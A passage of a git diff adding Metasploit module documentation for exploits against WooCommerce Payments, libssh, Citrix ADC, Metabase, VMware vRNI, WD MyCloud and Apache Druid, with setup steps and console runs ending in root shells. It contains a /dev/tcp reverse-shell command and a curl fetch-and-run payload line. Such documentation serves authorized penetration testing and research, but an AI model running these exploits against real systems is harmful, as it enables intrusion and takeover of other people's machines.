[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/piwigo_cve_2023_26876) >
|
||||
```
|
||||
@@ -0,0 +1,66 @@
|
||||
## Vulnerable Application
|
||||
WooCommerce-Payments plugin for Wordpress versions 4.8 prior to 4.8.2, 4.9 prior to 4.9.1,
|
||||
5.0 prior to 5.0.4, 5.1 prior to 5.1.3, 5.2 prior to 5.2.2, 5.3 prior to 5.3.1, 5.4 prior to 5.4.1,
|
||||
5.5 prior to 5.5.2, and 5.6 prior to 5.6.2 contain an authentication bypass by specifying a valid user ID number
|
||||
within the `X-WCPAY-PLATFORM-CHECKOUT-USER` header. With this authentication bypass, a user can then use the API
|
||||
to create a new user with administrative privileges on the target WordPress site IF the user ID
|
||||
selected corresponds to an administrator account.
|
||||
|
||||
### Install
|
||||
|
||||
Download, install, and activate [woocomerce-payments 5.6.1](https://downloads.wordpress.org/plugin/woocommerce-payments.5.6.1.zip)
|
||||
|
||||
No configuration is required, and one does not need to install the main WooCommerce platform itself.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the plugin
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/scanner/http/wp_woocommerce_payments_add_user`
|
||||
1. Do: `set username [username]`
|
||||
1. Do: `set rhosts [ip]`
|
||||
1. Do: `run`
|
||||
1. A new WordPress administrator account should be created.
|
||||
1. Verify the new account uses the username and password specified in the USERNAME and PASSWORD datastore options respectively.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
The username to create. Default is `msfadmin`.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The password for the user. Default is to create a random one.
|
||||
|
||||
### EMAIL
|
||||
|
||||
The email address for the user. Default is to create a random one.
|
||||
|
||||
### ADMINID
|
||||
|
||||
The user ID number for a WordPress administrator. Defaults to `1`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VWooCommerce Payments 5.6.1 on Wordpress 6.2.2
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/wp_woocommerce_payments_add_user
|
||||
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set username h00die
|
||||
username => h00die
|
||||
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set verbose true
|
||||
verbose => true
|
||||
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > exploit
|
||||
[*] Running module against 1.1.1.1
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking /wp-content/plugins/woocommerce-payments/readme.txt
|
||||
[*] Found version 5.6.1 in the plugin
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Attempting to create an administrator user -> h00die:lWqD3BOer3AFZ (willie.miller@iwuxphff.qiawqio9t.gov)
|
||||
[+] User was created successfully
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -14,6 +14,87 @@ additional code paths to be followed.
|
||||
|
||||
## Setup
|
||||
|
||||
### Docker (Vulhub)
|
||||
|
||||
A prebuilt [vulhub](https://github.com/vulhub/vulhub) target is available for testing. This target does _not_ work with the `Shell` action, only the `Execute` action. To test that scenario, use the `Docker (Custom)` steps below.
|
||||
|
||||
```
|
||||
docker run -it -p 3333:22 vulhub/libssh:0.8.1
|
||||
```
|
||||
|
||||
### Docker (Custom)
|
||||
|
||||
In an empty folder create a new `Dockerfile` with the below file contents. Note that this Dockerfile is based on [vulhub/libssh:0.8.1](https://github.com/vulhub/vulhub/tree/4b1954c5c95140d99a4b94a7005707dd041196f6/base/libssh/0.8.1) with changes to work with the `Shell` target:
|
||||
|
||||
```Dockerfile
|
||||
FROM buildpack-deps:stable-scm
|
||||
|
||||
LABEL maintainer="phithon <root@leavesongs.com>"
|
||||
|
||||
COPY ssh_server_fork.patch /ssh_server_fork.patch
|
||||
|
||||
RUN set -ex \
|
||||
&& BUILDDEP="gcc g++ make pkg-config cmake xz-utils patch" \
|
||||
&& apt-get update \
|
||||
&& apt-get install --no-install-recommends -y \
|
||||
ca-certificates \
|
||||
wget \
|
||||
libc6-dev \
|
||||
zlib1g-dev \
|
||||
libgcrypt20-dev \
|
||||
libgpg-error-dev \
|
||||
$BUILDDEP \
|
||||
&& wget -qO- https://www.libssh.org/files/0.8/libssh-0.8.3.tar.xz \
|
||||
| xz -c -d | tar x -C /usr/src --strip-components=1 \
|
||||
&& mkdir -p /usr/src/build \
|
||||
&& patch /usr/src/examples/ssh_server_fork.c < /ssh_server_fork.patch \
|
||||
&& cd /usr/src/build \
|
||||
&& cmake \
|
||||
-DCMAKE_INSTALL_PREFIX=/usr \
|
||||
-DWITH_SERVER=ON \
|
||||
-DWITH_STATIC_LIB=ON \
|
||||
-DWITH_GSSAPI=ON \
|
||||
-DWITH_GCRYPT=ON \
|
||||
-DWITH_SFTP=ON \
|
||||
-DWITH_THREADS=ON \
|
||||
.. \
|
||||
&& make && make install \
|
||||
&& apt-get purge -y --auto-remove $BUILDDEP
|
||||
|
||||
RUN ssh-keygen -t ecdsa -m pem -f /etc/ssh/ssh_host_ecdsa_key -q -N "" \
|
||||
&& ssh-keygen -t dsa -m pem -f /etc/ssh/ssh_host_dsa_key -q -N "" \
|
||||
&& ssh-keygen -t rsa -m pem -b 2048 -f /etc/ssh/ssh_host_rsa_key -q -N ""
|
||||
|
||||
CMD /usr/src/build/examples/ssh_server_fork --hostkey=/etc/ssh/ssh_host_rsa_key --ecdsakey=/etc/ssh/ssh_host_ecdsa_key --dsakey=/etc/ssh/ssh_host_dsa_key --rsakey=/etc/ssh/ssh_host_rsa_key -p 22 0.0.0.0
|
||||
```
|
||||
|
||||
Ensure the Metasploit patch is present in the same directory:
|
||||
|
||||
```
|
||||
cp /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch .
|
||||
```
|
||||
|
||||
Expected directory structure:
|
||||
|
||||
```
|
||||
Dockerfile
|
||||
ssh_server_fork.patch
|
||||
```
|
||||
|
||||
Build the image:
|
||||
|
||||
```
|
||||
docker build -t libssh:vulnerable .
|
||||
```
|
||||
|
||||
Create a new container available on port `2222`:
|
||||
|
||||
```
|
||||
docker run -it -p 2222:22 libssh:vulnerable
|
||||
```
|
||||
|
||||
### Host
|
||||
|
||||
1. `git clone git://git.libssh.org/projects/libssh.git`
|
||||
2. `cd libssh` and `git checkout libssh-0.8.3`
|
||||
3. `git apply -p1 /path/to/metasploit-framework/external/source/libssh/ssh_server_fork.patch`
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
## Vulnerable Application
|
||||
|
||||
A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer overflow of
|
||||
the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in remote code
|
||||
execution as root.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/freebsd/http/citrix/formssso_target_Rce`
|
||||
4. Set the `RHOST`, `PAYLOAD` and payload-related options
|
||||
5. Do: `run`
|
||||
6. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
Specific demo of using the module that might be useful in a real world scenario.
|
||||
|
||||
### Citrix ADC 13.1-48.47
|
||||
|
||||
NetScaler VPX instance for VMware ESX from `NSVPX-ESX-13.1-48.47_nc_64`.
|
||||
|
||||
```
|
||||
msf6 exploit(freebsd/http/citrix_formssso_target_rce) > show options
|
||||
|
||||
Module options (exploit/freebsd/http/citrix_formssso_target_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.159.130 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Base path
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Citrix ADC 13.1-48.47
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(freebsd/http/citrix_formssso_target_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Sending stage (24768 bytes) to 192.168.159.30
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.30:36429) at 2023-07-31 17:34:18 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : cirtrix
|
||||
OS : FreeBSD 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 2596b10c4(rs_131_48_41_RTM): Sat Jun 3 00:57:48 PDT 2023 root@sjc-bld-bsd114-232:/usr/obj/usr/home/build/adc/usr.src/sys/NS64
|
||||
Architecture : x64
|
||||
Meterpreter : python/freebsd
|
||||
meterpreter > pwd
|
||||
/
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,54 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token
|
||||
is accessible even after the setup process has been completed. With this token
|
||||
a user is able to submit the setup functionality to create a new database.
|
||||
When creating a new database, an H2 database string is created with a TRIGGER
|
||||
that allows for code execution. We use a sample database for our connection
|
||||
string to prevent corrupting real databases.
|
||||
|
||||
Successfully tested against Metabase 0.46.6.
|
||||
|
||||
### Install
|
||||
|
||||
```
|
||||
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/http/metabase_setup_token_rce`
|
||||
1. Do: `set rhosts [ip]`
|
||||
1. Do: `run`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Metabase 0.46.6 on Docker
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/metabase_setup_token_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/metabase_setup_token_rce) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 exploit(linux/http/metabase_setup_token_rce) > set lhost 111.111.11.111
|
||||
lhost => 111.111.11.111
|
||||
msf6 exploit(linux/http/metabase_setup_token_rce) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/http/metabase_setup_token_rce) > exploit
|
||||
|
||||
[+] bash -c '0<&46-;exec 46<>/dev/tcp/111.111.11.111/4444;sh <&46 >&46 2>&46'
|
||||
[*] Started reverse TCP handler on 111.111.11.111:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version Detected: 0.46.6
|
||||
[+] Found setup token: 45a2c97a-97f5-4a89-8f37-769b13411d16
|
||||
[*] Sending exploit
|
||||
[*] Command shell session 1 opened (111.111.11.111:4444 -> 222.22.2.2:55650) at 2023-07-28 12:48:47 +0000
|
||||
|
||||
id
|
||||
uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
|
||||
```
|
||||
@@ -0,0 +1,138 @@
|
||||
## Vulnerable Application
|
||||
|
||||
VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection
|
||||
when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a
|
||||
remote unauthenticated attacker to execute arbitrary commands on the underlying operating system
|
||||
as the root user. The RPC interface is protected by a reverse proxy which can be bypassed.
|
||||
VMware has evaluated the severity of this issue to be in the Critical severity range with a
|
||||
maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the
|
||||
context of `root` on the appliance.
|
||||
VMWare versions 6.2 to 6.10 are vulnerable.
|
||||
|
||||
This module exploits the vulnerability to upload and execute payloads gaining root privileges.
|
||||
Successfully tested against version 6.8.0.
|
||||
|
||||
### Install
|
||||
|
||||
The OVA file can be downloaded from the VMware Customer Connect portal.
|
||||
|
||||
1. Import the file VMware-vRealize-Network-Insight-6.8.0.1666364233-platform.ova into VMware Fusion
|
||||
2. Login with the given credentials `consoleuser:console`
|
||||
3. Run the `setup` command to begin setup
|
||||
|
||||
Starting Step 1/4: Create User Passwords
|
||||
1. Enter and re-enter SSH_User_Password: `notpassword`
|
||||
2. Enter and re-enter CLI_User_Password: `notpassword`
|
||||
|
||||
Starting Step 2/4: Network Configuration:
|
||||
1. Enter IP_Family: `ipv4`
|
||||
2. Enter IP_Address: `192.168.1.60`
|
||||
3. Enter Default_Gateway: `192.168.1.254`
|
||||
4. Enter DNS: `4.2.2.4 8.8.8.8`
|
||||
5. Enter Domain_Search: `example.com`
|
||||
6. Save configuration: `y`
|
||||
|
||||
Starting Step 3/3: Network Time Server Configuration:
|
||||
1. Is the Network Time Security supported for NTP servers? `n`
|
||||
2. Enter NTP servers: `0.us.pool.ntp.org`
|
||||
|
||||
Step 4/4: Web-Proxy (Optional Configuration)
|
||||
1. Configure web proxy?: `n`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use linux/http/vmware_vrni_rce_cve_2023_20887`
|
||||
1. Do: `set rhost [ip]`
|
||||
1. Do: `set lhost [ip]`
|
||||
1. Do: `set FETCH_SRVHOST [ip]`
|
||||
1. Do: `run`
|
||||
1. You should get a root shell.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VMware vRealize Network Insight 6.8.0 1666364233
|
||||
|
||||
```
|
||||
msf6 > use linux/http/vmware_vrni_rce_cve_2023_20887
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > set rhost 192.168.1.60
|
||||
rhost => 192.168.1.60
|
||||
msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > set lhost 192.168.1.67
|
||||
lhost => 192.168.1.67
|
||||
msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > set FETCH_SRVHOST 192.168.1.67
|
||||
FETCH_SRVHOST => 192.168.1.67
|
||||
msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > options
|
||||
|
||||
Module options (exploit/linux/http/vmware_vrni_rce_cve_2023_20887):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.1.60 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME hHTNUdqFrV no Name to use on remote system when storing payload; cannot contain spaces.
|
||||
FETCH_SRVHOST 192.168.1.67 yes Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 192.168.1.67 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix (In-Memory)
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/vmware_vrni_rce_cve_2023_20887) > rexploit
|
||||
[*] Reloading module...
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.67:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.1.60:443 can be exploited.
|
||||
[+] The target is vulnerable. VMWare Aria Operations for Networks (vRealize Network Insight) version 6.8.0 was found.
|
||||
[*] Executing Unix (In-Memory) with curl -so ./yjUczQeXbCf http://192.168.1.67:8080/VtUnMtEdkI5A0Lv6Y2zkFw; chmod +x ./yjUczQeXbCf; ./yjUczQeXbCf &
|
||||
[*] Attempting to execute shell
|
||||
[*] Sending stage (3045348 bytes) to 192.168.1.60
|
||||
[*] Meterpreter session 9 opened (192.168.1.67:4444 -> 192.168.1.60:52370) at 2023-07-20 14:50:13 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.1.60
|
||||
OS : Ubuntu 18.04 (Linux 5.4.0-126-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,187 @@
|
||||
## Vulnerable Application
|
||||
This module exploits authentication bypass (CVE-2018-17153) and command injection (CVE-2016-10108) vulnerabilities in
|
||||
Western Digital MyCloud before 2.30.196 in order to achieve unauthenticated remote code execution as the root user.
|
||||
|
||||
The module first performs a check to see if the target is WD MyCloud.
|
||||
If so, it attempts to trigger an authentication bypass (CVE-2018-17153) via a crafted GET request to /cgi-bin/network_mgr.cgi.
|
||||
If the server responds as expected (with a 404 response), the module assesses the vulnerability status by attempting to exploit
|
||||
a commend injection vulnerability (CVE-2016-10108) in order to print a random string via the echo command.
|
||||
This is done via a crafted POST request to /web/google_analytics.php where the command is injected into the `arg` POST parameter.
|
||||
|
||||
If the server is vulnerable, the same command injection vector is leveraged to execute the payload.
|
||||
|
||||
This module has been successfully tested against Western Digital MyCloud version 2.30.183.
|
||||
|
||||
Note: based on the available disclosures, it seems that the command injection vector (CVE-2016-10108) might be exploitable
|
||||
without the authentication bypass (CVE-2018-17153) on versions before 2.21.126.
|
||||
The obtained results on 2.30.183 imply that the patch for CVE-2016-10108 did not actually remove
|
||||
the command injection vector, but only prevented unauthenticated access to it.
|
||||
However, since older versions will also be vulnerable to CVE-2018-17153, this module always chains exploits for both issues.
|
||||
|
||||
- CVE-2016-10108 disclosure and PoC:
|
||||
https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/
|
||||
|
||||
- CVE-2018-17153 disclosure and Poc:
|
||||
https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/
|
||||
|
||||
|
||||
## Installation Information
|
||||
Western Digital no longer seems to offer older firmware versions for download to non-customers.
|
||||
[This commnity post](https://community.wd.com/t/wd-my-cloud-v3-x-v4-x-and-v2-x-firmware-versions-download-links/148533)
|
||||
contains download links to older firmware versions as well as to the source code, but only the links to the source code still work.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `set LHOST [IP]`
|
||||
5. Do: `exploit`
|
||||
|
||||
## Options
|
||||
### TARGETURI
|
||||
The base path to WD MyCloud. The default value is `/`.
|
||||
|
||||
## Targets
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix In-Memory
|
||||
1 Linux Dropper
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
### Western Digital MyCloud 2.30.183 - Unix In-Memory
|
||||
```
|
||||
msf6 exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > options
|
||||
|
||||
Module options (exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 10.10.10.45 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes The base path to WD MyCloud
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 10.10.10.18 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 10.10.10.18 yes The listen address (an interface may be specified)
|
||||
LPORT 6000 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix In-Memory
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.10.18:6000
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 10.10.10.45:443 - The target is WD MyCloud. Checking vulnerability status...
|
||||
[*] 10.10.10.45:443 - Attempting to execute echo tLD1sR3mLQXV1AYFuHV46x5...
|
||||
[+] The target is vulnerable. The target executed the echo command.
|
||||
[*] 10.10.10.45:443 - Executing the payload. This may take a few seconds...
|
||||
[*] Command shell session 1 opened (10.10.10.18:6000 -> 10.10.10.45:45402) at 2023-07-26 13:51:06 +0000
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
head /usr/local/config/config.xml
|
||||
<config>
|
||||
<sw_ver_1>2.30.183</sw_ver_1>
|
||||
<sw_ver_2>2.30.183.0116.2018</sw_ver_2>
|
||||
<hw_ver>WDMyCloudEX4100</hw_ver>
|
||||
<eula>1</eula>
|
||||
<language>0</language>
|
||||
<registered>0</registered>
|
||||
<eula_fw>0</eula_fw>
|
||||
<eula_apps>0</eula_apps>
|
||||
<analytics>0</analytics>
|
||||
```
|
||||
### Western Digital MyCloud 2.30.183 - Linux Dropper
|
||||
```
|
||||
msf6 exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > options
|
||||
|
||||
Module options (exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 10.10.10.45 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes The base path to WD MyCloud
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 10.10.10.18 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (linux/armle/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 10.10.10.18 yes The listen address (an interface may be specified)
|
||||
LPORT 6001 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Linux Dropper
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.10.18:6001
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 10.10.10.45:443 - The target is WD MyCloud. Checking vulnerability status...
|
||||
[*] 10.10.10.45:443 - Attempting to execute echo gkmp1ak8jprpqinbvmN84QXaWfgirEt...
|
||||
[+] The target is vulnerable. The target executed the echo command.
|
||||
[*] Using URL: http://10.10.10.18:8080/xFQRlaZ5ODY9ZQa
|
||||
[*] Client 10.10.10.45 (curl/7.42.1) requested /xFQRlaZ5ODY9ZQa
|
||||
[*] Sending payload to 10.10.10.45 (curl/7.42.1)
|
||||
[*] Sending stage (934728 bytes) to 10.10.10.45
|
||||
[*] Command Stager progress - 100.00% done (119/119 bytes)
|
||||
[*] Meterpreter session 2 opened (10.10.10.18:6001 -> 10.10.10.45:43738) at 2023-07-26 13:51:59 +0000
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.10.10.45
|
||||
OS : (Linux 3.10.39)
|
||||
Architecture : armv7l
|
||||
BuildTuple : armv5l-linux-musleabi
|
||||
Meterpreter : armle/linux
|
||||
```
|
||||
@@ -0,0 +1,79 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Apache Kafka is an open-source distributed event streaming platform that is used for real-time data streaming and processing.
|
||||
Kafka clients are a set of Java libraries that allow you to produce and consume messages from Apache Kafka.
|
||||
|
||||
In the version prior to 3.3.2, there is a JNDI injection issue in the Apache Kafka clients if an attacker is able to set the
|
||||
`sasl.jaas.config` property for any of the connector's Kafka clients to `com.sun.security.auth.module.JndiLoginModule`.
|
||||
It will allow the server to connect to the attacker's LDAP server and deserialize the LDAP response, which the attacker can
|
||||
use to execute java deserialization gadget chains on the Kafka connect server. Attacker can cause unrestricted deserialization
|
||||
of untrusted data (or) RCE vulnerability when there are gadgets in the classpath.
|
||||
|
||||
As Apache Druid depends on kafka-clients to connect to one of its data sources, making it out of the box vulnerable if using any
|
||||
affected version.
|
||||
|
||||
The below docker compose file can be used to build a vulnerable container.
|
||||
|
||||
```yaml
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/apache-druid:25.0.0
|
||||
ports:
|
||||
- "8888:8888"
|
||||
```
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Metasploit:
|
||||
|
||||
1. `./msfconsole`
|
||||
1. `use exploit/multi/http/apache_druid_cve_2023_25194`
|
||||
1. `set rhosts <rhost>`
|
||||
1. `set target <target>`
|
||||
1. `set srvhost <srvhost>`
|
||||
1. `set SSL <true or false>`
|
||||
1. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache Kafka-clients 3.3.1 on Druid version 25.0.0
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/apache_druid_cve_2023_25194) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 172.18.0.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Attempting to trigger the jndi callback...
|
||||
[+] The target is vulnerable.
|
||||
[+] Delivering the serialized Java object to execute the payload...
|
||||
[*] Client sent unbind request
|
||||
[*] Server stopped.
|
||||
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:42908) at 2023-06-22 13:33:01 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 72fc9c4031a6
|
||||
OS : Linux 6.1.11-1-MANJARO #1 SMP PREEMPT_DYNAMIC Thu Feb 9 14:03:23 UTC 2023
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter > shell
|
||||
Process 1112 created.
|
||||
Channel 1 created.
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
find /opt/druid/extensions/druid-kafka-indexing-service/ -iname "kafka-clients*"
|
||||
/opt/druid/extensions/druid-kafka-indexing-service/kafka-clients-3.3.1.jar
|
||||
^C
|
||||
Terminate channel 1? [y/N] y
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: User exit
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI (required)
|
||||
|
||||
The path to the APISIX routes controller (Default: `/`).
|
||||
@@ -32,6 +32,8 @@ If authentication is required, then the `USERNAME` and `PASSWORD` options can be
|
||||
complex authentication flow is required (such as OpenId Connect), or a session token has already been obtained, a session token in the form
|
||||
